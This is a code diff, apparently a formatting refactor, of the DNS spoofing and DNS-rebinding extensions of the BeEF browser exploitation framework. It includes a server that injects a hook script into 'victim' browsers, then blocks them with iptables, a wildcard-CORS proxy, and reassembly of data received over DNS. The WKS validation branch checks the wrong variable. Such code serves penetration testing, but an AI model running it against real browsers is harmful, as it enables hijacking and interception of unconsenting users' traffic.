|
||||
else
|
||||
# previous chunks received, update Array
|
||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
||||
if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'
|
||||
# means that no position in the array is false/nil, so we received all the packet chunks
|
||||
packet_data = @data_chunks[pack_id].join('')
|
||||
decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')
|
||||
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
|
||||
|
||||
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
|
||||
@data_chunks[pack_id] = 'DONE'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
# Helper method that converts a DNS rule to a hash.
|
||||
#
|
||||
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
|
||||
@@ -279,9 +269,7 @@ module BeEF
|
||||
def format_resource(resource)
|
||||
/::(\w+)$/.match(resource)[1]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5,18 +5,15 @@
|
||||
#
|
||||
require 'async/dns'
|
||||
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'dns'
|
||||
@full_name = 'DNS Server'
|
||||
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
||||
'hijacking, and other related attacks against hooked browsers.'
|
||||
|
||||
'hijacking, and other related attacks against hooked browsers.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,10 +6,8 @@
|
||||
|
||||
# Disables the logger used by RubyDNS due to its excessive verbosity.
|
||||
class Logger
|
||||
|
||||
def debug(msg = ''); end
|
||||
def info(msg = ''); end
|
||||
def error(msg = ''); end
|
||||
def warn(msg = ''); end
|
||||
|
||||
end
|
||||
|
||||
@@ -7,35 +7,30 @@ module BeEF
|
||||
module Core
|
||||
module Models
|
||||
module Dns
|
||||
|
||||
# Represents an individual DNS rule.
|
||||
class Rule < BeEF::Core::Model
|
||||
|
||||
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
|
||||
before_save :check_rule
|
||||
self.table_name = 'dns_rules'
|
||||
serialize :response, Array
|
||||
|
||||
private
|
||||
private
|
||||
|
||||
def check_rule
|
||||
begin
|
||||
validate_pattern(self.pattern)
|
||||
self.callback = format_callback(self.resource.constantize, self.response)
|
||||
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
|
||||
print_error e.message
|
||||
throw :halt
|
||||
end
|
||||
|
||||
#self.id = BeEF::Core::Crypto.dns_rule_id
|
||||
validate_pattern(pattern)
|
||||
self.callback = format_callback(resource.constantize, response)
|
||||
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
|
||||
print_error e.message
|
||||
throw :halt
|
||||
|
||||
# self.id = BeEF::Core::Crypto.dns_rule_id
|
||||
end
|
||||
|
||||
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
|
||||
def validate_pattern(pattern)
|
||||
raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&
|
||||
!BeEF::Filters.has_null?(pattern) &&
|
||||
!BeEF::Filters.has_non_printable_char?(pattern)
|
||||
!BeEF::Filters.has_null?(pattern) &&
|
||||
!BeEF::Filters.has_non_printable_char?(pattern)
|
||||
end
|
||||
|
||||
# Strict validator which ensures that only an appropriate response is given.
|
||||
@@ -47,18 +42,19 @@ module BeEF
|
||||
def format_callback(resource, response)
|
||||
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
|
||||
|
||||
src = if resource == Resolv::DNS::Resource::IN::A
|
||||
if resource == Resolv::DNS::Resource::IN::A
|
||||
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
|
||||
sprintf "t.respond!('%s')", response
|
||||
format "t.respond!('%s')", response
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
elsif response.is_a?(Array)
|
||||
str1 = "t.respond!('%s');"
|
||||
str2 = ''
|
||||
|
||||
response.each do |r|
|
||||
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
|
||||
str2 << sprintf(str1, r)
|
||||
|
||||
str2 << format(str1, r)
|
||||
end
|
||||
|
||||
str2
|
||||
@@ -67,16 +63,17 @@ module BeEF
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::AAAA
|
||||
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
|
||||
sprintf "t.respond!('%s')", response
|
||||
format "t.respond!('%s')", response
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
elsif response.is_a?(Array)
|
||||
str1 = "t.respond!('%s');"
|
||||
str2 = ''
|
||||
|
||||
response.each do |r|
|
||||
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
|
||||
str2 << sprintf(str1, r)
|
||||
|
||||
str2 << format(str1, r)
|
||||
end
|
||||
|
||||
str2
|
||||
@@ -85,35 +82,36 @@ module BeEF
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::CNAME
|
||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
else
|
||||
raise InvalidDnsResponseError, 'CNAME'
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::MX
|
||||
if response[0].is_a?(Integer) &&
|
||||
BeEF::Filters.is_valid_domain?(response[1])
|
||||
BeEF::Filters.is_valid_domain?(response[1])
|
||||
|
||||
data = { :preference => response[0], :exchange => response[1] }
|
||||
sprintf "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
|
||||
data = { preference: response[0], exchange: response[1] }
|
||||
format "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
else
|
||||
raise InvalidDnsResponseError, 'MX'
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::NS
|
||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
elsif response.is_a?(Array)
|
||||
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
|
||||
str2 = ''
|
||||
|
||||
response.each do |r|
|
||||
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
|
||||
str2 << sprintf(str1, r)
|
||||
|
||||
str2 << format(str1, r)
|
||||
end
|
||||
|
||||
str2
|
||||
@@ -122,110 +120,100 @@ module BeEF
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::PTR
|
||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
else
|
||||
raise InvalidDnsResponseError, 'PTR'
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::SOA
|
||||
if response.is_a?(Array)
|
||||
unless BeEF::Filters.is_valid_domain?(response[0]) &&
|
||||
BeEF::Filters.is_valid_domain?(response[1]) &&
|
||||
response[2].is_a?(Integer) &&
|
||||
response[3].is_a?(Integer) &&
|
||||
response[4].is_a?(Integer) &&
|
||||
response[5].is_a?(Integer) &&
|
||||
response[6].is_a?(Integer)
|
||||
BeEF::Filters.is_valid_domain?(response[1]) &&
|
||||
response[2].is_a?(Integer) &&
|
||||
response[3].is_a?(Integer) &&
|
||||
response[4].is_a?(Integer) &&
|
||||
response[5].is_a?(Integer) &&
|
||||
response[6].is_a?(Integer)
|
||||
|
||||
raise InvalidDnsResponseError, 'SOA'
|
||||
end
|
||||
|
||||
data = {
|
||||
:mname => response[0],
|
||||
:rname => response[1],
|
||||
:serial => response[2],
|
||||
:refresh => response[3],
|
||||
:retry => response[4],
|
||||
:expire => response[5],
|
||||
:minimum => response[6]
|
||||
mname: response[0],
|
||||
rname: response[1],
|
||||
serial: response[2],
|
||||
refresh: response[3],
|
||||
retry: response[4],
|
||||
expire: response[5],
|
||||
minimum: response[6]
|
||||
}
|
||||
|
||||
sprintf "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
|
||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||
'%<serial>d, ' +
|
||||
'%<refresh>d, ' +
|
||||
'%<retry>d, ' +
|
||||
'%<expire>d, ' +
|
||||
'%<minimum>d)',
|
||||
data
|
||||
format "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
|
||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||
'%<serial>d, ' +
|
||||
'%<refresh>d, ' +
|
||||
'%<retry>d, ' +
|
||||
'%<expire>d, ' +
|
||||
'%<minimum>d)',
|
||||
data
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
else
|
||||
raise InvalidDnsResponseError, 'SOA'
|
||||
end
|
||||
elsif resource == Resolv::DNS::Resource::IN::WKS
|
||||
if response.is_a?(Array)
|
||||
unless BeEF::Filters.is_valid_ip?(resource[0]) &&
|
||||
resource[1].is_a?(Integer) &&
|
||||
resource[2].is_a?(Integer)
|
||||
raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String)
|
||||
if !BeEF::Filters.is_valid_ip?(resource[0]) &&
|
||||
resource[1].is_a?(Integer) &&
|
||||
resource[2].is_a?(Integer) && !resource.is_a?(String)
|
||||
raise InvalidDnsResponseError, 'WKS'
|
||||
end
|
||||
|
||||
data = {
|
||||
:address => response[0],
|
||||
:protocol => response[1],
|
||||
:bitmap => response[2]
|
||||
address: response[0],
|
||||
protocol: response[1],
|
||||
bitmap: response[2]
|
||||
}
|
||||
|
||||
sprintf "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
|
||||
format "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
|
||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||
sprintf "t.fail!(:%s)", response.to_sym
|
||||
format 't.fail!(:%s)', response.to_sym
|
||||
else
|
||||
raise InvalidDnsResponseError, 'WKS'
|
||||
end
|
||||
else
|
||||
raise UnknownDnsResourceError
|
||||
end
|
||||
|
||||
src
|
||||
end
|
||||
|
||||
# Raised when an invalid pattern is given.
|
||||
class InvalidDnsPatternError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when a response is not valid for the given DNS resource record.
|
||||
class InvalidDnsResponseError < StandardError
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Failed to add DNS rule with invalid response for %s resource record", message
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Failed to add DNS rule with invalid response for %s resource record', message
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an unknown DNS resource record is given.
|
||||
class UnknownDnsResourceError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,10 +6,8 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
||||
class DnsRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
@dns ||= BeEF::Extension::Dns::Server.instance
|
||||
@@ -27,157 +25,136 @@ module BeEF
|
||||
|
||||
# Returns the entire current DNS ruleset
|
||||
get '/ruleset' do
|
||||
begin
|
||||
ruleset = @dns.get_ruleset
|
||||
count = ruleset.length
|
||||
ruleset = @dns.get_ruleset
|
||||
count = ruleset.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:ruleset] = ruleset
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:ruleset] = ruleset
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns a specific rule given its id
|
||||
get '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
rule = @dns.get_rule(id)
|
||||
raise InvalidParamError, 'id' if rule.nil?
|
||||
halt 404 if rule.empty?
|
||||
rule = @dns.get_rule(id)
|
||||
raise InvalidParamError, 'id' if rule.nil?
|
||||
|
||||
rule.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
halt 404 if rule.empty?
|
||||
|
||||
rule.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Adds a new DNS rule
|
||||
post '/rule' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
pattern = body['pattern']
|
||||
resource = body['resource']
|
||||
response = body['response']
|
||||
pattern = body['pattern']
|
||||
resource = body['resource']
|
||||
response = body['response']
|
||||
|
||||
# Validate required JSON keys
|
||||
if pattern.nil? || pattern.eql?('')
|
||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
if resource !~ /\A[A-Z]+\Z/
|
||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
unless response.is_a?(Array)
|
||||
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
if response.empty?
|
||||
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule'
|
||||
end
|
||||
# Validate required JSON keys
|
||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')
|
||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/
|
||||
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)
|
||||
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty?
|
||||
|
||||
# Validate resource
|
||||
case resource
|
||||
when "A"
|
||||
dns_resource = Resolv::DNS::Resource::IN::A
|
||||
when "AAAA"
|
||||
dns_resource = Resolv::DNS::Resource::IN::AAAA
|
||||
when "CNAME"
|
||||
dns_resource = Resolv::DNS::Resource::IN::CNAME
|
||||
when "HINFO"
|
||||
dns_resource = Resolv::DNS::Resource::IN::HINFO
|
||||
when "MINFO"
|
||||
dns_resource = Resolv::DNS::Resource::IN::MINFO
|
||||
when "MX"
|
||||
dns_resource = Resolv::DNS::Resource::IN::MX
|
||||
when "NS"
|
||||
dns_resource = Resolv::DNS::Resource::IN::NS
|
||||
when "PTR"
|
||||
dns_resource = Resolv::DNS::Resource::IN::PTR
|
||||
when "SOA"
|
||||
dns_resource = Resolv::DNS::Resource::IN::SOA
|
||||
when "TXT"
|
||||
dns_resource = Resolv::DNS::Resource::IN::TXT
|
||||
when "WKS"
|
||||
dns_resource = Resolv::DNS::Resource::IN::WKS
|
||||
else
|
||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
# Add rule
|
||||
id = @dns.add_rule(
|
||||
:pattern => pattern,
|
||||
:resource => dns_resource,
|
||||
:response => response
|
||||
)
|
||||
|
||||
# Return result
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result['id'] = id
|
||||
result.to_json
|
||||
rescue InvalidJsonError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||
halt 500
|
||||
# Validate resource
|
||||
case resource
|
||||
when 'A'
|
||||
dns_resource = Resolv::DNS::Resource::IN::A
|
||||
when 'AAAA'
|
||||
dns_resource = Resolv::DNS::Resource::IN::AAAA
|
||||
when 'CNAME'
|
||||
dns_resource = Resolv::DNS::Resource::IN::CNAME
|
||||
when 'HINFO'
|
||||
dns_resource = Resolv::DNS::Resource::IN::HINFO
|
||||
when 'MINFO'
|
||||
dns_resource = Resolv::DNS::Resource::IN::MINFO
|
||||
when 'MX'
|
||||
dns_resource = Resolv::DNS::Resource::IN::MX
|
||||
when 'NS'
|
||||
dns_resource = Resolv::DNS::Resource::IN::NS
|
||||
when 'PTR'
|
||||
dns_resource = Resolv::DNS::Resource::IN::PTR
|
||||
when 'SOA'
|
||||
dns_resource = Resolv::DNS::Resource::IN::SOA
|
||||
when 'TXT'
|
||||
dns_resource = Resolv::DNS::Resource::IN::TXT
|
||||
when 'WKS'
|
||||
dns_resource = Resolv::DNS::Resource::IN::WKS
|
||||
else
|
||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
# Add rule
|
||||
id = @dns.add_rule(
|
||||
pattern: pattern,
|
||||
resource: dns_resource,
|
||||
response: response
|
||||
)
|
||||
|
||||
# Return result
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result['id'] = id
|
||||
result.to_json
|
||||
rescue InvalidJsonError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Removes a rule given its id
|
||||
delete '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
removed = @dns.remove_rule!(id)
|
||||
raise InvalidParamError, 'id' if removed.nil?
|
||||
removed = @dns.remove_rule!(id)
|
||||
raise InvalidParamError, 'id' if removed.nil?
|
||||
|
||||
result = {}
|
||||
result['success'] = removed
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
result = {}
|
||||
result['success'] = removed
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/dns handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/dns handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Invalid "%s" parameter passed to /api/dns handler'
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,28 +1,25 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module API
|
||||
|
||||
module ServHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
address_http = config['address_http_internal']
|
||||
address_proxy = config['address_proxy_internal']
|
||||
port_http = config['port_http']
|
||||
port_proxy = config['port_proxy']
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||
end
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module API
|
||||
module ServHandler
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
def self.pre_http_start(_http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
address_http = config['address_http_internal']
|
||||
address_proxy = config['address_proxy_internal']
|
||||
port_http = config['port_http']
|
||||
port_proxy = config['port_proxy']
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,230 +1,225 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
#Very simple HTTP server. Its task is only hook victim
|
||||
class Server
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
# Very simple HTTP server. Its task is only hook victim
|
||||
class Server
|
||||
@debug_mode = false
|
||||
def self.log(msg)
|
||||
if @debug_mode
|
||||
STDERR.puts msg.to_s
|
||||
end
|
||||
warn msg.to_s if @debug_mode
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
server = TCPServer.new(address, port)
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = server.accept
|
||||
Thread.new(s) do |socket|
|
||||
victim_ip = socket.peeraddr[2].to_s
|
||||
server = TCPServer.new(address, port)
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
|
||||
loop do
|
||||
s = server.accept
|
||||
Thread.new(s) do |socket|
|
||||
victim_ip = socket.peeraddr[2].to_s
|
||||
|
||||
log "-------------------------------\n"
|
||||
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
||||
log "-------------------------------\n"
|
||||
log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
|
||||
|
||||
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
response = File.read(File.expand_path('views/index.html', __dir__))
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
hook_file = configuration.get("beef.http.hook_file")
|
||||
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
||||
|
||||
response.sub!('path_to_hookjs_template', hook_uri)
|
||||
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
|
||||
hook_file = configuration.get('beef.http.hook_file')
|
||||
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
|
||||
|
||||
start_string = socket.gets
|
||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||
"Content-Type: text/html\r\n" +
|
||||
"Content-Length: #{response.bytesize}\r\n" +
|
||||
"Connection: close\r\n"
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.close
|
||||
response.sub!('path_to_hookjs_template', hook_uri)
|
||||
|
||||
#Indicate that victim load all javascript and we can block it with iptables.
|
||||
dr_config = configuration.get("beef.extension.dns_rebinding")
|
||||
if start_string.include?("load")
|
||||
log "[Server] Block with iptables\n"
|
||||
port_http = dr_config['port_http']
|
||||
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
|
||||
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
|
||||
else
|
||||
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
|
||||
end
|
||||
end
|
||||
log "-------------------------------\n"
|
||||
start_string = socket.gets
|
||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||
"Content-Type: text/html\r\n" +
|
||||
"Content-Length: #{response.bytesize}\r\n" +
|
||||
"Connection: close\r\n"
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.close
|
||||
|
||||
# Indicate that victim load all javascript and we can block it with iptables.
|
||||
dr_config = configuration.get('beef.extension.dns_rebinding')
|
||||
if start_string.include?('load')
|
||||
log "[Server] Block with iptables\n"
|
||||
port_http = dr_config['port_http']
|
||||
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
|
||||
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
|
||||
'r+') do |io|
|
||||
end
|
||||
else
|
||||
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
|
||||
end
|
||||
end
|
||||
log "-------------------------------\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Proxy
|
||||
class Proxy
|
||||
@queries = Queue.new
|
||||
@responses = {}
|
||||
@mutex_responses = nil
|
||||
@mutex_queries = nil
|
||||
@debug_mode = false
|
||||
|
||||
def self.send_http_response(socket, response, heads={})
|
||||
socket.print "HTTP/1.1 200 OK\r\n"
|
||||
def self.send_http_response(socket, response, heads = {})
|
||||
socket.print "HTTP/1.1 200 OK\r\n"
|
||||
|
||||
headers = {}
|
||||
headers["Content-Type"]="text/html"
|
||||
headers["Content-Length"]=response.size.to_s
|
||||
headers["Connection"]="close"
|
||||
headers["Access-Control-Allow-Origin"]="*"
|
||||
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
||||
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
||||
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
||||
headers = {}
|
||||
headers['Content-Type'] = 'text/html'
|
||||
headers['Content-Length'] = response.size.to_s
|
||||
headers['Connection'] = 'close'
|
||||
headers['Access-Control-Allow-Origin'] = '*'
|
||||
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
|
||||
headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
|
||||
headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
|
||||
|
||||
headers_a = heads.to_a
|
||||
headers_a.each do |header, value|
|
||||
headers[header] = value
|
||||
end
|
||||
headers_a = heads.to_a
|
||||
headers_a.each do |header, value|
|
||||
headers[header] = value
|
||||
end
|
||||
|
||||
headers.to_a.each do |header, value|
|
||||
socket.print header+": "+value+"\r\n"
|
||||
end
|
||||
headers.to_a.each do |header, value|
|
||||
socket.print header + ': ' + value + "\r\n"
|
||||
end
|
||||
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
end
|
||||
|
||||
def self.log(log_message)
|
||||
if @debug_mode
|
||||
STDERR.puts log_message
|
||||
end
|
||||
warn log_message if @debug_mode
|
||||
end
|
||||
|
||||
def self.read_http_message(socket)
|
||||
message = {}
|
||||
message['start_string'] = socket.gets.chomp
|
||||
message['headers'] = {}
|
||||
message['response'] = ""
|
||||
message = {}
|
||||
message['start_string'] = socket.gets.chomp
|
||||
message['headers'] = {}
|
||||
message['response'] = ''
|
||||
c = socket.gets
|
||||
while c != "\r\n"
|
||||
name = c[/(.+): (.+)/, 1]
|
